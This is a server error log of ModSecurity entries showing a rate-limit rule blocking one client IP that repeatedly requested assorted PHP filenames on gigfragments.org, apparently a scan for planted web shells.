[Sat Feb 21 03:22:57.724593 2026] [:error] [pid 38340:tid 38365] [client 104.46.226.22:5865] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aZi0kRwhxuy_mBXA_-IqAwAAANc"]
[Sat Feb 21 03:22:58.293703 2026] [:error] [pid 38164:tid 38250] [client 104.46.226.22:54841] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aZi0ktbO3dRxYRcZLe2M3QAAAAk"]
[Sat Feb 21 03:22:58.855849 2026] [:error] [pid 38340:tid 38349] [client 104.46.226.22:65061] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aZi0khwhxuy_mBXA_-IqBwAAAMc"]
[Sat Feb 21 03:22:59.476452 2026] [:error] [pid 38165:tid 38291] [client 104.46.226.22:5912] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aZi0k8veKhyo2vBHvI-wSQAAAFQ"]
[Sat Feb 21 03:22:59.941182 2026] [:error] [pid 38340:tid 38358] [client 104.46.226.22:65140] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aZi0kxwhxuy_mBXA_-IqDwAAANA"]
[Sat Feb 21 03:23:00.676753 2026] [:error] [pid 38165:tid 38274] [client 104.46.226.22:5892] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aZi0lMveKhyo2vBHvI-wUAAAAEM"]
[Sat Feb 21 03:23:01.261958 2026] [:error] [pid 38165:tid 38272] [client 104.46.226.22:5936] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aZi0lcveKhyo2vBHvI-wUgAAAEE"]
[Sat Feb 21 03:23:01.586470 2026] [:error] [pid 38166:tid 38304] [client 104.46.226.22:54844] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aZi0lTatjXy17zTTzEFa_wAAAIY"]
[Sat Feb 21 03:23:01.982108 2026] [:error] [pid 38165:tid 38273] [client 104.46.226.22:60451] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aZi0lcveKhyo2vBHvI-wUwAAAEI"]
[Sat Feb 21 03:23:02.254833 2026] [:error] [pid 38164:tid 38255] [client 104.46.226.22:65521] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aZi0ltbO3dRxYRcZLe2M4wAAAA4"]
[Sat Feb 21 03:23:02.577108 2026] [:error] [pid 38164:tid 38250] [client 104.46.226.22:60476] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aZi0ltbO3dRxYRcZLe2M5AAAAAk"]
[Sat Feb 21 03:23:02.970300 2026] [:error] [pid 38165:tid 38279] [client 104.46.226.22:46910] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aZi0lsveKhyo2vBHvI-wWAAAAEg"]
[Sat Feb 21 03:23:03.589206 2026] [:error] [pid 38165:tid 38275] [client 104.46.226.22:54824] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aZi0l8veKhyo2vBHvI-wXAAAAEQ"]
[Sat Feb 21 03:23:04.069674 2026] [:error] [pid 38164:tid 38247] [client 104.46.226.22:60975] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aZi0mNbO3dRxYRcZLe2M6AAAAAY"]
[Sat Feb 21 03:23:04.456973 2026] [:error] [pid 38340:tid 38343] [client 104.46.226.22:56582] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aZi0mBwhxuy_mBXA_-IqFgAAAME"]
[Sat Feb 21 03:23:04.754220 2026] [:error] [pid 38164:tid 38249] [client 104.46.226.22:60621] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aZi0mNbO3dRxYRcZLe2M6gAAAAg"]
[Sat Feb 21 03:23:05.006925 2026] [:error] [pid 38164:tid 38258] [client 104.46.226.22:5622] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aZi0mdbO3dRxYRcZLe2M7AAAABE"]
[Sat Feb 21 03:23:05.342182 2026] [:error] [pid 38164:tid 38251] [client 104.46.226.22:56696] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/04.php"] [unique_id "aZi0mdbO3dRxYRcZLe2M7gAAAAo"]
[Sat Feb 21 03:23:05.974433 2026] [:error] [pid 38164:tid 38253] [client 104.46.226.22:5625] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aZi0mdbO3dRxYRcZLe2M8AAAAAw"]
[Sat Feb 21 03:23:06.694658 2026] [:error] [pid 38164:tid 38248] [client 104.46.226.22:60378] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aZi0mtbO3dRxYRcZLe2M9QAAAAc"]
[Sat Feb 21 03:23:07.228987 2026] [:error] [pid 38166:tid 38298] [client 104.46.226.22:46857] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aZi0mzatjXy17zTTzEFbAgAAAIA"]
[Sat Feb 21 03:23:07.487382 2026] [:error] [pid 38165:tid 38284] [client 104.46.226.22:65427] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aZi0m8veKhyo2vBHvI-wbQAAAE0"]
[Sat Feb 21 03:23:08.089263 2026] [:error] [pid 38166:tid 38305] [client 104.46.226.22:60469] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aZi0nDatjXy17zTTzEFbBAAAAIc"]
[Sat Feb 21 03:23:08.967236 2026] [:error] [pid 38166:tid 38315] [client 104.46.226.22:60638] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aZi0nDatjXy17zTTzEFbCAAAAJE"]
[Sat Feb 21 03:23:09.325909 2026] [:error] [pid 38340:tid 38363] [client 104.46.226.22:60896] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aZi0nRwhxuy_mBXA_-IqGQAAANU"]
[Sat Feb 21 03:23:09.583536 2026] [:error] [pid 38340:tid 38353] [client 104.46.226.22:56532] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aZi0nRwhxuy_mBXA_-IqGgAAAMs"]
[Sat Feb 21 03:23:09.858109 2026] [:error] [pid 38340:tid 38358] [client 104.46.226.22:56477] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aZi0nRwhxuy_mBXA_-IqHAAAANA"]
[Sat Feb 21 03:23:10.172320 2026] [:error] [pid 38166:tid 38304] [client 104.46.226.22:46865] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aZi0njatjXy17zTTzEFbCgAAAIY"]
[Sat Feb 21 03:23:10.544250 2026] [:error] [pid 38165:tid 38274] [client 104.46.226.22:46864] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aZi0nsveKhyo2vBHvI-wcgAAAEM"]
[Sat Feb 21 03:23:11.033637 2026] [:error] [pid 38166:tid 38299] [client 104.46.226.22:60460] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aZi0nzatjXy17zTTzEFbCwAAAIE"]
[Sat Feb 21 03:23:11.996357 2026] [:error] [pid 38165:tid 38282] [client 104.46.226.22:56448] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aZi0n8veKhyo2vBHvI-weAAAAEs"]
[Sat Feb 21 03:23:12.505384 2026] [:error] [pid 38164:tid 38248] [client 104.46.226.22:60687] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aZi0oNbO3dRxYRcZLe2NAQAAAAc"]
[Sat Feb 21 03:23:13.361028 2026] [:error] [pid 38166:tid 38306] [client 104.46.226.22:60666] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aZi0oTatjXy17zTTzEFbGgAAAIg"]
[Sat Feb 21 03:23:13.724394 2026] [:error] [pid 38164:tid 38245] [client 104.46.226.22:5919] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aZi0odbO3dRxYRcZLe2NBQAAAAQ"]
[Sat Feb 21 03:23:13.979953 2026] [:error] [pid 38340:tid 38361] [client 104.46.226.22:60418] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aZi0oRwhxuy_mBXA_-IqJwAAANM"]
[Sat Feb 21 03:23:14.486115 2026] [:error] [pid 38340:tid 38355] [client 104.46.226.22:60952] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aZi0ohwhxuy_mBXA_-IqKwAAAM0"]
[Sat Feb 21 03:23:14.744372 2026] [:error] [pid 38166:tid 38307] [client 104.46.226.22:5621] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aZi0ojatjXy17zTTzEFbHQAAAIk"]
[Sat Feb 21 03:23:15.134423 2026] [:error] [pid 38165:tid 38278] [client 104.46.226.22:56535] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aZi0o8veKhyo2vBHvI-whAAAAEc"]
[Sat Feb 21 03:23:15.902856 2026] [:error] [pid 38166:tid 38299] [client 104.46.226.22:54813] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aZi0ozatjXy17zTTzEFbIAAAAIE"]
[Sat Feb 21 03:23:16.401287 2026] [:error] [pid 38166:tid 38311] [client 104.46.226.22:60397] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aZi0pDatjXy17zTTzEFbIQAAAI0"]
[Sat Feb 21 03:23:16.647145 2026] [:error] [pid 38165:tid 38291] [client 104.46.226.22:60369] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aZi0pMveKhyo2vBHvI-wjAAAAFQ"]
[Sat Feb 21 03:23:16.895481 2026] [:error] [pid 38165:tid 38277] [client 104.46.226.22:60868] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aZi0pMveKhyo2vBHvI-wjgAAAEY"]
[Sat Feb 21 03:23:17.289269 2026] [:error] [pid 38165:tid 38283] [client 104.46.226.22:60961] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aZi0pcveKhyo2vBHvI-wkwAAAEw"]
[Sat Feb 21 03:23:17.651099 2026] [:error] [pid 38164:tid 38260] [client 104.46.226.22:60982] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aZi0pdbO3dRxYRcZLe2NCwAAABM"]
[Sat Feb 21 03:23:17.918543 2026] [:error] [pid 38165:tid 38282] [client 104.46.226.22:60979] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aZi0pcveKhyo2vBHvI-wmAAAAEs"]
[Sat Feb 21 03:23:18.237469 2026] [:error] [pid 38165:tid 38273] [client 104.46.226.22:54829] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aZi0psveKhyo2vBHvI-wmwAAAEI"]
[Sat Feb 21 03:23:18.538156 2026] [:error] [pid 38340:tid 38361] [client 104.46.226.22:60670] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aZi0phwhxuy_mBXA_-IqMwAAANM"]
[Sat Feb 21 03:23:18.807211 2026] [:error] [pid 38164:tid 38264] [client 104.46.226.22:60380] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aZi0ptbO3dRxYRcZLe2NDwAAABc"]
[Sat Feb 21 03:23:19.073563 2026] [:error] [pid 38164:tid 38262] [client 104.46.226.22:54792] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aZi0p9bO3dRxYRcZLe2NEAAAABU"]
[Sat Feb 21 03:23:19.323210 2026] [:error] [pid 38165:tid 38272] [client 104.46.226.22:60715] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aZi0p8veKhyo2vBHvI-wnQAAAEE"]
[Sat Feb 21 03:23:19.646013 2026] [:error] [pid 38165:tid 38275] [client 104.46.226.22:60980] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aZi0p8veKhyo2vBHvI-wngAAAEQ"]
[Sat Feb 21 03:23:20.132477 2026] [:error] [pid 38340:tid 38357] [client 104.46.226.22:56691] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aZi0qBwhxuy_mBXA_-IqPAAAAM8"]
[Sat Feb 21 03:23:20.602403 2026] [:error] [pid 38165:tid 38293] [client 104.46.226.22:60694] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aZi0qMveKhyo2vBHvI-woAAAAFY"]
[Sat Feb 21 03:23:21.102026 2026] [:error] [pid 38164:tid 38243] [client 104.46.226.22:60645] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aZi0qdbO3dRxYRcZLe2NGQAAAAI"]
[Sat Feb 21 03:23:22.001255 2026] [:error] [pid 38340:tid 38351] [client 104.46.226.22:60689] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aZi0qhwhxuy_mBXA_-IqRgAAAMk"]
[Sat Feb 21 03:23:22.491838 2026] [:error] [pid 38340:tid 38352] [client 104.46.226.22:60649] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aZi0qhwhxuy_mBXA_-IqSgAAAMo"]
[Sat Feb 21 03:23:22.788626 2026] [:error] [pid 38340:tid 38349] [client 104.46.226.22:60620] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aZi0qhwhxuy_mBXA_-IqTQAAAMc"]
